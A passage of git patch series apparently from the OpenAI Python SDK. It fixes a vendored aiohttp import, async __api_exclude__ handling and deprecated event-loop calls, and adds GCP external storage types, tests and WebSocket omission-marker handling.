python -m pytest -o addopts= tests/test_httpx2.py tests/test_httpx2_base.py tests/test_httpx2_respx.py tests/test_httpx2_workload.py -q -rs
```
No dependency, generated-baseline, custom-code budget, or workflow
changes.
Full CI and maintainer review remain required.
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Marcus Wood
Copilot-Session: 0857d4b0-2459-4f7b-af29-366e05d08090
---
src/openai/_vendor/httpx_aiohttp/FORK.md | 9 ++++++++-
src/openai/_vendor/httpx_aiohttp/transport.py | 4 ++--
2 files changed, 10 insertions(+), 3 deletions(-)
diff --git a/src/openai/_vendor/httpx_aiohttp/FORK.md b/src/openai/_vendor/httpx_aiohttp/FORK.md
index d66699bce0..2c7117dc81 100644
--- a/src/openai/_vendor/httpx_aiohttp/FORK.md
+++ b/src/openai/_vendor/httpx_aiohttp/FORK.md
@@ -8,6 +8,13 @@ This directory vendors the HTTPX2-specific adapter from httpx-aiohttp 0.2.0.
- License: BSD 3-Clause; the original license is preserved in `LICENSE`.
- The upstream README is preserved without modification in `README.md`.
-The upstream distribution always installs and imports legacy HTTPX even when only its HTTPX2 adapter is used. Vendoring the three HTTPX2-specific modules lets `openai[aiohttp]` depend only on HTTPX2 and aiohttp while preserving the upstream transport behavior. No functional changes have been made to the upstream adapter.
+The upstream distribution always installs and imports legacy HTTPX even when only its HTTPX2 adapter is used. Vendoring the three HTTPX2-specific modules lets `openai[aiohttp]` depend only on HTTPX2 and aiohttp while preserving the upstream transport behavior.
+
+Local changes:
+
+- Import `SocketTimeoutError` explicitly. aiohttp before 3.10 does not export
+ this exception, so importing the adapter raises `ImportError` and the SDK
+ keeps its default HTTPX2 clients available. This does not enable the aiohttp
+ adapter on older versions or lower the `openai[aiohttp]` dependency minimum.
The fork may be removed when upstream provides an HTTPX2-only distribution or makes legacy HTTPX genuinely optional.
diff --git a/src/openai/_vendor/httpx_aiohttp/transport.py b/src/openai/_vendor/httpx_aiohttp/transport.py
index 263bfe106d..27f6b5e346 100644
--- a/src/openai/_vendor/httpx_aiohttp/transport.py
+++ b/src/openai/_vendor/httpx_aiohttp/transport.py
@@ -9,12 +9,12 @@
import aiohttp
import httpx2 as httpx
-from aiohttp import BasicAuth, ClientTimeout
+from aiohttp import BasicAuth, ClientTimeout, SocketTimeoutError
from aiohttp.client import ClientResponse, ClientSession
AIOHTTP_EXC_MAP = {
aiohttp.ServerTimeoutError: httpx.TimeoutException,
- aiohttp.SocketTimeoutError: httpx.ReadTimeout,
+ SocketTimeoutError: httpx.ReadTimeout,
aiohttp.ClientConnectionError: httpx.ConnectTimeout,
aiohttp.ClientConnectorError: httpx.ConnectError,
aiohttp.ClientPayloadError: httpx.ReadError,
From 161ae65ea676a000a156ba0dacfd904532b52473 Mon Sep 17 00:00:00 2001
From: Rishab Motgi
Date: Tue, 22 Sep 2026 21:18:54 +0000
Subject: [PATCH 198/341] fix(_utils/_transform): propagate __api_exclude__ in
_async_transform_recursive (#3324)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
## Summary
The sync `_transform_recursive` path (line 221 of
`_utils/_transform.py`) correctly passes `exclude=getattr(data,
"__api_exclude__", None)` to `model_dump()` when it encounters a
pydantic `BaseModel` value. The async counterpart
`_async_transform_recursive` (line 387) was missing this argument.
## Bug
```python
# sync — correct
if isinstance(data, pydantic.BaseModel):
return model_dump(data, exclude_unset=True, mode="json", exclude=getattr(data, "__api_exclude__", None))
# async — missing exclude= kwarg (before this fix)
if isinstance(data, pydantic.BaseModel):
return model_dump(data, exclude_unset=True, mode="json")
```
## Impact
`ParsedResponse` (in `openai/types/responses/parsed_response.py`)
declares:
```python
__api_exclude__ = {"parsed_arguments"}
```
This is specifically to prevent the client-side computed
`parsed_arguments` field from being sent back to the API server in
multi-turn conversations. With the async client that exclusion had no
effect: `parsed_arguments` leaked into every request body that included
a `ParsedResponse` in the message history.
## Fix
One-line change — add the missing `exclude` kwarg to match the sync
path:
```python
return model_dump(data, exclude_unset=True, mode="json", exclude=getattr(data, "__api_exclude__", None))
```
## Tests
Added `tests/test_async_transform_api_exclude.py` with three tests (no
live API calls):
1. `test_async_transform_excludes_api_excluded_fields` — asserts
`__api_exclude__` fields are absent from the async output (this test
**fails before the fix, passes after**)
2. `test_sync_transform_excludes_api_excluded_fields` — sanity-check
that the sync path behaves the same
3. `test_async_transform_pydantic_model_without_api_exclude` — models
without `__api_exclude__` are unaffected
Run with `PYTHONPATH=src pytest
tests/test_async_transform_api_exclude.py`.
---------
Co-authored-by: Marcus Wood
---
src/openai/_utils/_transform.py | 2 +-
tests/test_transform.py | 15 +++++++++++++++
2 files changed, 16 insertions(+), 1 deletion(-)
diff --git a/src/openai/_utils/_transform.py b/src/openai/_utils/_transform.py
index 304fd12ffe..9f1e66ebb5 100644
--- a/src/openai/_utils/_transform.py
+++ b/src/openai/_utils/_transform.py
@@ -387,7 +387,7 @@ async def _async_transform_recursive(
return data
if isinstance(data, pydantic.BaseModel):
- return model_dump(data, exclude_unset=True, mode="json")
+ return model_dump(data, exclude_unset=True, mode="json", exclude=getattr(data, "__api_exclude__", None))
annotated_type = _get_annotated_type(annotation)
if annotated_type is None:
diff --git a/tests/test_transform.py b/tests/test_transform.py
index 93f7ad8dd8..69a5549d9b 100644
--- a/tests/test_transform.py
+++ b/tests/test_transform.py
@@ -357,6 +357,21 @@ async def test_pydantic_default_field(use_async: bool) -> None:
assert cast(Any, await transform(model, Any, use_async)) == {"with_none_default": "bar", "with_str_default": "baz"}
+class ModelWithApiExcludedField(BaseModel):
+ foo: str
+ client_only: str
+
+ __api_exclude__ = {"client_only"}
+
+
+@parametrize
+@pytest.mark.asyncio
+async def test_pydantic_model_api_exclude(use_async: bool) -> None:
+ model = ModelWithApiExcludedField(foo="hello!", client_only="local")
+ assert cast(Any, await transform(model, Any, use_async)) == {"foo": "hello!"}
+ assert cast(Any, await transform([model], List[ModelWithApiExcludedField], use_async)) == [{"foo": "hello!"}]
+
+
class TypedDictIterableUnion(TypedDict):
foo: Annotated[Union[Bar8, Iterable[Baz8]], PropertyInfo(alias="FOO")]
From bac3545eee5a0dfd348a6766bca3e904308792dd Mon Sep 17 00:00:00 2001
From: Rolly Calma <115199279+Ghraven@users.noreply.github.com>
Date: Tue, 22 Sep 2026 21:45:33 +0000
Subject: [PATCH 199/341] fix(helpers): use asyncio.get_running_loop() inside
async methods (#3289)
### What
Three `async` methods in `src/openai/helpers/` call
`asyncio.get_event_loop()` from inside a running coroutine:
- `LocalAudioPlayer.play` (`local_audio_player.py`)
- `LocalAudioPlayer.play_stream` (`local_audio_player.py`)
- `Microphone.record` (`microphone.py`)
### Why it matters
Since Python 3.10, calling `asyncio.get_event_loop()` when there is no
current event loop is deprecated, and calling it from within a coroutine
to obtain the running loop emits a `DeprecationWarning`. The documented
replacement for code that runs inside a coroutine is
`asyncio.get_running_loop()`.
### Fix
```python
# Before
loop = asyncio.get_event_loop()
# After
loop = asyncio.get_running_loop()
```
In all three cases the loop is obtained inside an `async def` and only
used for `run_in_executor` / `call_soon_threadsafe`, so there is always
a running loop and behavior is unchanged. This just removes the
deprecation and makes the intent explicit.
### Scope
Three one-line changes in `src/openai/helpers/` (a hand-maintained,
non-generated path). Files still parse and import. Happy to adjust if
you would prefer a different approach.
Co-authored-by: Marcus Wood
---
src/openai/helpers/local_audio_player.py | 4 ++--
src/openai/helpers/microphone.py | 2 +-
2 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/src/openai/helpers/local_audio_player.py b/src/openai/helpers/local_audio_player.py
index 8f12c27a56..8d8cb3d340 100644
--- a/src/openai/helpers/local_audio_player.py
+++ b/src/openai/helpers/local_audio_player.py
@@ -71,7 +71,7 @@ async def play(
else:
audio_content = await self._tts_response_to_buffer(input)
- loop = asyncio.get_event_loop()
+ loop = asyncio.get_running_loop()
event = asyncio.Event()
idx = 0
@@ -105,7 +105,7 @@ async def play_stream(
self,
buffer_stream: AsyncGenerator[Union[npt.NDArray[np.float32], npt.NDArray[np.int16], None], None],
) -> None:
- loop = asyncio.get_event_loop()
+ loop = asyncio.get_running_loop()
event = asyncio.Event()
buffer_queue: queue.Queue[Union[npt.NDArray[np.float32], npt.NDArray[np.int16], None]] = queue.Queue(maxsize=50)
diff --git a/src/openai/helpers/microphone.py b/src/openai/helpers/microphone.py
index 62a6d8d8a9..5a1e8ae87d 100644
--- a/src/openai/helpers/microphone.py
+++ b/src/openai/helpers/microphone.py
@@ -54,7 +54,7 @@ async def record(self, return_ndarray: Literal[False]) -> FileTypes: ...
async def record(self, return_ndarray: None = ...) -> FileTypes: ...
async def record(self, return_ndarray: Union[bool, None] = False) -> Union[npt.NDArray[DType], FileTypes]:
- loop = asyncio.get_event_loop()
+ loop = asyncio.get_running_loop()
event = asyncio.Event()
self.buffer_chunks: list[npt.NDArray[DType]] = []
start_time = time.perf_counter()
From d12d60fff9f5624f2dc50ade3d832028f4fecaa7 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Tue, 22 Sep 2026 23:39:06 +0000
Subject: [PATCH 200/341] feat(api): add GCP external storage support (#3943)
## Summary
Add typed GCP provider support for organization external storage. Expose
retry headers on video creation errors when available.
## Changes
- Export the new GcpExternalStorageProvider response model with bucket,
region, audience, workload identity, and provider type fields.
- Allow GCP providers in external storage creation parameters,
configurations, and audit log registration events.
- Add optional headers to VideoCreateError as a string mapping for
Retry-After and Retry-After-Ms values.
Co-authored-by: jbeckwith-oai <269036200+jbeckwith-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 +-
api.md | 1 +
api_reference/openapi.transformed.yml | 210 ++++++++++++------
.../types/admin/organization/__init__.py | 1 +
.../organization/audit_log_list_response.py | 4 +-
.../external_storage_configuration.py | 4 +-
.../external_storage_create_params.py | 16 +-
.../gcp_external_storage_provider.py | 23 ++
src/openai/types/video_create_error.py | 8 +-
tests/test_external_storage.py | 29 ++-
10 files changed, 221 insertions(+), 89 deletions(-)
create mode 100644 src/openai/types/admin/organization/gcp_external_storage_provider.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 78d65fd35d..a3350c02b8 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: c8c6bf6c-8bff-434a-b978-585a27465fa8
-openapi_spec_hash: 6a2e60e178aa24527fca9f135ac4496d
-openapi_transformed_spec_hash: effb859cf813a2e353712f1ecfc81c08
-config_hash: 18f602826c88bad76c6fdf08ab67247a
-codegen_sha: 14a34feb242913af4804472ab683ca8782bf39d7
-codegen_hash: e4941790e2be3ec721829183f7ae6daf6b05fedcdb00b37971d988ac4b671e4c
-public_codegen_sha: 19f5aa746f2bc5d9f5affdae7a05d8c92e0c4ab1
+generation_id: 85ad4660-a311-4438-9c8d-cdca0ec0f76a
+openapi_spec_hash: 6ffdf0b6c2bafb456b14fda3f7231658
+openapi_transformed_spec_hash: d6d1e240c0615a9349169c2f2d04c388
+config_hash: 84cdcc959ee7140cc9a65e9b642c097b
+codegen_sha: 2284ccaf093c393669ee50253d011bb2a12c9f69
+codegen_hash: 70eb364ca64eb34fc66bed39b8f693f90c75dcd0c307489373cf360dcf3a2269
+public_codegen_sha: 75504785271618f32f21c7948959b7a390faf4f5
diff --git a/api.md b/api.md
index fb2f91789f..74b2276e7f 100644
--- a/api.md
+++ b/api.md
@@ -1510,6 +1510,7 @@ from openai.types.admin.organization import (
AzureExternalStorageProvider,
ExternalStorageConfiguration,
ExternalStorageDeleted,
+ GcpExternalStorageProvider,
)
```
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index e29469406b..0fdad4550b 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -70944,12 +70944,42 @@ components:
- account_name
- container
- region
+ GcpExternalStorageProviderResponse:
+ properties:
+ type:
+ type: string
+ enum:
+ - gcp
+ default: gcp
+ x-stainless-const: true
+ bucket:
+ type: string
+ workload_identity_project_number:
+ type: string
+ workload_identity_pool_id:
+ type: string
+ workload_identity_provider_id:
+ type: string
+ region:
+ type: string
+ audience:
+ type: string
+ type: object
+ required:
+ - type
+ - bucket
+ - workload_identity_project_number
+ - workload_identity_pool_id
+ - workload_identity_provider_id
+ - region
+ - audience
provider:
discriminator:
propertyName: type
anyOf:
- $ref: '#/components/schemas/AwsExternalStorageProviderResponse'
- $ref: '#/components/schemas/AzureExternalStorageProviderResponse'
+ - $ref: '#/components/schemas/GcpExternalStorageProviderResponse'
PublicProjectResidency:
type: string
enum:
@@ -71571,6 +71601,7 @@ components:
anyOf:
- $ref: '#/components/schemas/AwsExternalStorageProviderResponse'
- $ref: '#/components/schemas/AzureExternalStorageProviderResponse'
+ - $ref: '#/components/schemas/GcpExternalStorageProviderResponse'
geography:
type: string
status:
@@ -71659,6 +71690,29 @@ components:
- resource_group
- account_name
- container
+ GcpExternalStorageProviderParams:
+ properties:
+ type:
+ type: string
+ enum:
+ - gcp
+ default: gcp
+ x-stainless-const: true
+ bucket:
+ type: string
+ workload_identity_project_number:
+ type: string
+ workload_identity_pool_id:
+ type: string
+ workload_identity_provider_id:
+ type: string
+ type: object
+ required:
+ - type
+ - bucket
+ - workload_identity_project_number
+ - workload_identity_pool_id
+ - workload_identity_provider_id
CreateExternalStorageBody:
properties:
project_id:
@@ -71670,6 +71724,7 @@ components:
anyOf:
- $ref: '#/components/schemas/AwsExternalStorageProviderParams'
- $ref: '#/components/schemas/AzureExternalStorageProviderParams'
+ - $ref: '#/components/schemas/GcpExternalStorageProviderParams'
type: object
required:
- project_id
@@ -72066,6 +72121,13 @@ components:
message:
type: string
description: A human-readable description of the error that was returned.
+ headers:
+ additionalProperties:
+ type: string
+ description: The retry header value.
+ type: object
+ description: The Retry-After and Retry-After-Ms headers returned with the original error, if any.
+ x-oaiTypeLabel: map
misalignment:
$ref: '#/components/schemas/MisalignmentErrorDetailsResource'
type: object
@@ -73947,42 +74009,7 @@ components:
- ''
- ''
description: The public lifecycle status of an execution environment.
- HostedEnvironmentFileResourceFileId:
- type: object
- properties:
- type:
- type: string
- enum:
- - file_id
- default: file_id
- x-stainless-const: true
- description: The type of the object. Always `file_id`.
- id:
- type: string
- minLength: 0
- description: The session-scoped ID of the file in the execution environment.
- file_id:
- type: string
- minLength: 0
- description: The ID of the uploaded file.
- path:
- type: string
- minLength: 0
- description: The file's absolute path inside the environment.
- size_bytes:
- type: integer
- format: int64
- minimum: 0
- description: The decoded file size in bytes.
- required:
- - type
- - id
- - file_id
- - path
- - size_bytes
- additionalProperties: false
- description: A file copied from the OpenAI Files API.
- HostedEnvironmentFileResourceInline:
+ HostedPluginResourceInline:
type: object
properties:
type:
@@ -73992,39 +74019,30 @@ components:
default: inline
x-stainless-const: true
description: The type of the object. Always `inline`.
- id:
+ name:
type: string
minLength: 0
- description: The session-scoped ID of the file in the execution environment.
- path:
+ description: The installed plugin name.
+ description:
type: string
minLength: 0
- description: The file's absolute path inside the environment.
- size_bytes:
- type: integer
- format: int64
- minimum: 0
- description: The decoded file size in bytes.
+ description: The installed plugin description.
required:
- type
- - id
- - path
- - size_bytes
+ - name
+ - description
additionalProperties: false
- description: A file supplied inline when the session was created.
- HostedEnvironmentFileResource:
- description: Metadata for a file materialized in an OpenAI-hosted execution environment.
+ description: A plugin installed from an inline ZIP archive.
+ HostedPluginResource:
+ description: A plugin installed in an OpenAI-hosted environment.
discriminator:
propertyName: type
mapping:
- file_id: '#/components/schemas/HostedEnvironmentFileResourceFileId'
- inline: '#/components/schemas/HostedEnvironmentFileResourceInline'
+ inline: '#/components/schemas/HostedPluginResourceInline'
x-oai-discriminator-values:
- - file_id
- inline
anyOf:
- - $ref: '#/components/schemas/HostedEnvironmentFileResourceFileId'
- - $ref: '#/components/schemas/HostedEnvironmentFileResourceInline'
+ - $ref: '#/components/schemas/HostedPluginResourceInline'
HostedSkillResourceSkillReference:
type: object
properties:
@@ -74096,7 +74114,42 @@ components:
anyOf:
- $ref: '#/components/schemas/HostedSkillResourceSkillReference'
- $ref: '#/components/schemas/HostedSkillResourceInline'
- HostedPluginResourceInline:
+ HostedEnvironmentFileResourceFileId:
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - file_id
+ default: file_id
+ x-stainless-const: true
+ description: The type of the object. Always `file_id`.
+ id:
+ type: string
+ minLength: 0
+ description: The session-scoped ID of the file in the execution environment.
+ file_id:
+ type: string
+ minLength: 0
+ description: The ID of the uploaded file.
+ path:
+ type: string
+ minLength: 0
+ description: The file's absolute path inside the environment.
+ size_bytes:
+ type: integer
+ format: int64
+ minimum: 0
+ description: The decoded file size in bytes.
+ required:
+ - type
+ - id
+ - file_id
+ - path
+ - size_bytes
+ additionalProperties: false
+ description: A file copied from the OpenAI Files API.
+ HostedEnvironmentFileResourceInline:
type: object
properties:
type:
@@ -74106,30 +74159,39 @@ components:
default: inline
x-stainless-const: true
description: The type of the object. Always `inline`.
- name:
+ id:
type: string
minLength: 0
- description: The installed plugin name.
- description:
+ description: The session-scoped ID of the file in the execution environment.
+ path:
type: string
minLength: 0
- description: The installed plugin description.
+ description: The file's absolute path inside the environment.
+ size_bytes:
+ type: integer
+ format: int64
+ minimum: 0
+ description: The decoded file size in bytes.
required:
- type
- - name
- - description
+ - id
+ - path
+ - size_bytes
additionalProperties: false
- description: A plugin installed from an inline ZIP archive.
- HostedPluginResource:
- description: A plugin installed in an OpenAI-hosted environment.
+ description: A file supplied inline when the session was created.
+ HostedEnvironmentFileResource:
+ description: Metadata for a file materialized in an OpenAI-hosted execution environment.
discriminator:
propertyName: type
mapping:
- inline: '#/components/schemas/HostedPluginResourceInline'
+ file_id: '#/components/schemas/HostedEnvironmentFileResourceFileId'
+ inline: '#/components/schemas/HostedEnvironmentFileResourceInline'
x-oai-discriminator-values:
+ - file_id
- inline
anyOf:
- - $ref: '#/components/schemas/HostedPluginResourceInline'
+ - $ref: '#/components/schemas/HostedEnvironmentFileResourceFileId'
+ - $ref: '#/components/schemas/HostedEnvironmentFileResourceInline'
PublicEnvironmentResource:
type: object
properties:
@@ -74150,13 +74212,13 @@ components:
status:
$ref: '#/components/schemas/EnvironmentStatusResource'
description: The current environment connection status.
- files:
+ plugins:
type: array
items:
- $ref: '#/components/schemas/HostedEnvironmentFileResource'
+ $ref: '#/components/schemas/HostedPluginResource'
minItems: 0
maxItems: 2000
- description: Files installed in the environment, without their contents.
+ description: Plugins installed in the environment, without their archive contents.
skills:
type: array
items:
@@ -74164,13 +74226,13 @@ components:
minItems: 0
maxItems: 2000
description: Skills installed in the environment, without their archive contents.
- plugins:
+ files:
type: array
items:
- $ref: '#/components/schemas/HostedPluginResource'
+ $ref: '#/components/schemas/HostedEnvironmentFileResource'
minItems: 0
maxItems: 2000
- description: Plugins installed in the environment, without their archive contents.
+ description: Files installed in the environment, without their contents.
required:
- id
- object
diff --git a/src/openai/types/admin/organization/__init__.py b/src/openai/types/admin/organization/__init__.py
index 20101b841e..d2be7183e8 100644
--- a/src/openai/types/admin/organization/__init__.py
+++ b/src/openai/types/admin/organization/__init__.py
@@ -68,6 +68,7 @@
from .aws_external_storage_provider import AwsExternalStorageProvider as AwsExternalStorageProvider
from .certificate_activate_response import CertificateActivateResponse as CertificateActivateResponse
from .certificate_deactivate_params import CertificateDeactivateParams as CertificateDeactivateParams
+from .gcp_external_storage_provider import GcpExternalStorageProvider as GcpExternalStorageProvider
from .usage_audio_speeches_response import UsageAudioSpeechesResponse as UsageAudioSpeechesResponse
from .usage_web_search_calls_params import UsageWebSearchCallsParams as UsageWebSearchCallsParams
from .external_storage_configuration import ExternalStorageConfiguration as ExternalStorageConfiguration
diff --git a/src/openai/types/admin/organization/audit_log_list_response.py b/src/openai/types/admin/organization/audit_log_list_response.py
index c7406ed84f..a0686e4255 100644
--- a/src/openai/types/admin/organization/audit_log_list_response.py
+++ b/src/openai/types/admin/organization/audit_log_list_response.py
@@ -8,6 +8,7 @@
from ...._utils import PropertyInfo
from ...._models import BaseModel
from .aws_external_storage_provider import AwsExternalStorageProvider
+from .gcp_external_storage_provider import GcpExternalStorageProvider
from .azure_external_storage_provider import AzureExternalStorageProvider
__all__ = [
@@ -313,7 +314,8 @@ class ExternalKeyRemoved(BaseModel):
ExternalStorageRegisteredDataProvider: TypeAlias = Annotated[
- Union[AwsExternalStorageProvider, AzureExternalStorageProvider], PropertyInfo(discriminator="type")
+ Union[AwsExternalStorageProvider, AzureExternalStorageProvider, GcpExternalStorageProvider],
+ PropertyInfo(discriminator="type"),
]
diff --git a/src/openai/types/admin/organization/external_storage_configuration.py b/src/openai/types/admin/organization/external_storage_configuration.py
index f5ad1e56d7..afb027b8bb 100644
--- a/src/openai/types/admin/organization/external_storage_configuration.py
+++ b/src/openai/types/admin/organization/external_storage_configuration.py
@@ -6,12 +6,14 @@
from ...._utils import PropertyInfo
from ...._models import BaseModel
from .aws_external_storage_provider import AwsExternalStorageProvider
+from .gcp_external_storage_provider import GcpExternalStorageProvider
from .azure_external_storage_provider import AzureExternalStorageProvider
__all__ = ["ExternalStorageConfiguration", "Provider"]
Provider: TypeAlias = Annotated[
- Union[AwsExternalStorageProvider, AzureExternalStorageProvider], PropertyInfo(discriminator="type")
+ Union[AwsExternalStorageProvider, AzureExternalStorageProvider, GcpExternalStorageProvider],
+ PropertyInfo(discriminator="type"),
]
diff --git a/src/openai/types/admin/organization/external_storage_create_params.py b/src/openai/types/admin/organization/external_storage_create_params.py
index f459e588b0..41b0514d6b 100644
--- a/src/openai/types/admin/organization/external_storage_create_params.py
+++ b/src/openai/types/admin/organization/external_storage_create_params.py
@@ -5,7 +5,7 @@
from typing import Union
from typing_extensions import Literal, Required, TypeAlias, TypedDict
-__all__ = ["ExternalStorageCreateParams", "Provider", "ProviderAws", "ProviderAzure"]
+__all__ = ["ExternalStorageCreateParams", "Provider", "ProviderAws", "ProviderAzure", "ProviderGcp"]
class ExternalStorageCreateParams(TypedDict, total=False):
@@ -36,4 +36,16 @@ class ProviderAzure(TypedDict, total=False):
type: Required[Literal["azure"]]
-Provider: TypeAlias = Union[ProviderAws, ProviderAzure]
+class ProviderGcp(TypedDict, total=False):
+ bucket: Required[str]
+
+ type: Required[Literal["gcp"]]
+
+ workload_identity_pool_id: Required[str]
+
+ workload_identity_project_number: Required[str]
+
+ workload_identity_provider_id: Required[str]
+
+
+Provider: TypeAlias = Union[ProviderAws, ProviderAzure, ProviderGcp]
diff --git a/src/openai/types/admin/organization/gcp_external_storage_provider.py b/src/openai/types/admin/organization/gcp_external_storage_provider.py
new file mode 100644
index 0000000000..0b6c5ff96f
--- /dev/null
+++ b/src/openai/types/admin/organization/gcp_external_storage_provider.py
@@ -0,0 +1,23 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing_extensions import Literal
+
+from ...._models import BaseModel
+
+__all__ = ["GcpExternalStorageProvider"]
+
+
+class GcpExternalStorageProvider(BaseModel):
+ audience: str
+
+ bucket: str
+
+ region: str
+
+ type: Literal["gcp"]
+
+ workload_identity_pool_id: str
+
+ workload_identity_project_number: str
+
+ workload_identity_provider_id: str
diff --git a/src/openai/types/video_create_error.py b/src/openai/types/video_create_error.py
index 96c5e44025..556e95463a 100644
--- a/src/openai/types/video_create_error.py
+++ b/src/openai/types/video_create_error.py
@@ -1,6 +1,6 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from typing import Union, Optional
+from typing import Dict, Union, Optional
from typing_extensions import Literal
from .._models import BaseModel
@@ -44,4 +44,10 @@ class VideoCreateError(BaseModel):
message: str
"""A human-readable description of the error that was returned."""
+ headers: Optional[Dict[str, str]] = None
+ """
+ The Retry-After and Retry-After-Ms headers returned with the original error, if
+ any.
+ """
+
misalignment: Optional[Misalignment] = None
diff --git a/tests/test_external_storage.py b/tests/test_external_storage.py
index 5070d20af2..c5551dc6ab 100644
--- a/tests/test_external_storage.py
+++ b/tests/test_external_storage.py
@@ -9,7 +9,7 @@
from openai import OpenAI, AsyncOpenAI
from tests.respx2 import MockRouter
from tests.respx2.models import Call
-from openai.types.admin.organization import ExternalStorageConfiguration
+from openai.types.admin.organization import GcpExternalStorageProvider, ExternalStorageConfiguration
from openai.types.admin.organization.external_storage_create_params import Provider
BASE_URL = "https://example.com/v1"
@@ -46,6 +46,25 @@
"future_provider_field": {"retained": True},
},
),
+ (
+ {
+ "type": "gcp",
+ "bucket": "test-bucket",
+ "workload_identity_pool_id": "test-pool",
+ "workload_identity_project_number": "000000000000",
+ "workload_identity_provider_id": "test-provider",
+ },
+ {
+ "type": "gcp",
+ "bucket": "test-bucket",
+ "workload_identity_pool_id": "test-pool",
+ "workload_identity_project_number": "000000000000",
+ "workload_identity_provider_id": "test-provider",
+ "audience": "test-audience",
+ "region": "us-central1",
+ "future_provider_field": {"retained": True},
+ },
+ ),
]
@@ -63,7 +82,7 @@ def configuration(provider: dict[str, object], storage_id: str = "extstorage_tes
@pytest.mark.respx2(base_url=BASE_URL)
-@pytest.mark.parametrize("provider,response_provider", PROVIDERS, ids=["aws", "azure"])
+@pytest.mark.parametrize("provider,response_provider", PROVIDERS, ids=["aws", "azure", "gcp"])
def test_sync_external_storage_provider_and_admin_auth(
provider: Provider, response_provider: dict[str, object], respx2_mock: MockRouter
) -> None:
@@ -78,6 +97,8 @@ def test_sync_external_storage_provider_and_admin_auth(
result = client.admin.organization.external_storage.create(project_id="proj_test", provider=provider)
assert isinstance(result, ExternalStorageConfiguration)
+ if provider["type"] == "gcp":
+ assert isinstance(result.provider, GcpExternalStorageProvider)
assert result.to_dict() == payload
request = route.calls.last.request
assert request.headers["Authorization"] == "Bearer test-admin-key"
@@ -85,7 +106,7 @@ def test_sync_external_storage_provider_and_admin_auth(
@pytest.mark.respx2(base_url=BASE_URL)
-@pytest.mark.parametrize("provider,response_provider", PROVIDERS, ids=["aws", "azure"])
+@pytest.mark.parametrize("provider,response_provider", PROVIDERS, ids=["aws", "azure", "gcp"])
async def test_async_external_storage_provider_and_admin_auth(
provider: Provider, response_provider: dict[str, object], respx2_mock: MockRouter
) -> None:
@@ -100,6 +121,8 @@ async def test_async_external_storage_provider_and_admin_auth(
result = await client.admin.organization.external_storage.create(project_id="proj_test", provider=provider)
assert isinstance(result, ExternalStorageConfiguration)
+ if provider["type"] == "gcp":
+ assert isinstance(result.provider, GcpExternalStorageProvider)
assert result.to_dict() == payload
request = route.calls.last.request
assert request.headers["Authorization"] == "Bearer test-admin-key"
From 63e46169a7c6525ec90c7f2815a05d56e795cbcf Mon Sep 17 00:00:00 2001
From: Marcus Wood
Date: Tue, 22 Sep 2026 16:58:39 -0700
Subject: [PATCH 201/341] fix(api): handle omission markers in queued WebSocket
events (#3944)
## Summary
Fixes serialization errors when WebSocket events containing `omit` or
`not_given` are queued before the connection opens.
## Changes
- Support omission markers in dictionary events queued by synchronous
and asynchronous WebSocket connection managers.
Co-authored-by: marcuswood-oai <323319819+marcuswood-oai@users.noreply.github.com>
---
.castiron.stats.yml | 8 ++++----
src/openai/resources/beta/responses/responses.py | 4 ++--
src/openai/resources/live/forks.py | 4 ++--
src/openai/resources/live/live.py | 4 ++--
src/openai/resources/live/sideband.py | 4 ++--
src/openai/resources/realtime/realtime.py | 4 ++--
src/openai/resources/responses/responses.py | 4 ++--
7 files changed, 16 insertions(+), 16 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index a3350c02b8..e5d699ccb5 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 85ad4660-a311-4438-9c8d-cdca0ec0f76a
+generation_id: ec3bb85c-c75f-4b0b-8713-a9377f2068d9
openapi_spec_hash: 6ffdf0b6c2bafb456b14fda3f7231658
openapi_transformed_spec_hash: d6d1e240c0615a9349169c2f2d04c388
config_hash: 84cdcc959ee7140cc9a65e9b642c097b
-codegen_sha: 2284ccaf093c393669ee50253d011bb2a12c9f69
-codegen_hash: 70eb364ca64eb34fc66bed39b8f693f90c75dcd0c307489373cf360dcf3a2269
-public_codegen_sha: 75504785271618f32f21c7948959b7a390faf4f5
+codegen_sha: 878642b3dcf465c78f575b8e49ebc181b58fc5ce
+codegen_hash: 614193cc88f476d3dbfe7d149d8adf21489f235af4454fb1e93628fe43e1e351
+public_codegen_sha: 9a6784d449a729fc0e8d97a4947a8fa858a0041f
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index 69acc8768e..7bccb4cbad 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -4561,7 +4561,7 @@ def send(self, event: BetaResponsesClientEvent | BetaResponsesClientEventParam)
data = (
event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
if isinstance(event, BaseModel)
- else json.dumps(event)
+ else json.dumps(maybe_transform(event, BetaResponsesClientEventParam))
)
self.__send_queue.enqueue(data)
@@ -5047,7 +5047,7 @@ def send(self, event: BetaResponsesClientEvent | BetaResponsesClientEventParam)
data = (
event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
if isinstance(event, BaseModel)
- else json.dumps(event)
+ else json.dumps(maybe_transform(event, BetaResponsesClientEventParam))
)
self.__send_queue.enqueue(data)
diff --git a/src/openai/resources/live/forks.py b/src/openai/resources/live/forks.py
index 75e0672bac..9c1a243238 100644
--- a/src/openai/resources/live/forks.py
+++ b/src/openai/resources/live/forks.py
@@ -465,7 +465,7 @@ def send(self, event: ForkClientEvent | ForkClientEventParam) -> None:
data = (
event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
if isinstance(event, BaseModel)
- else json.dumps(event)
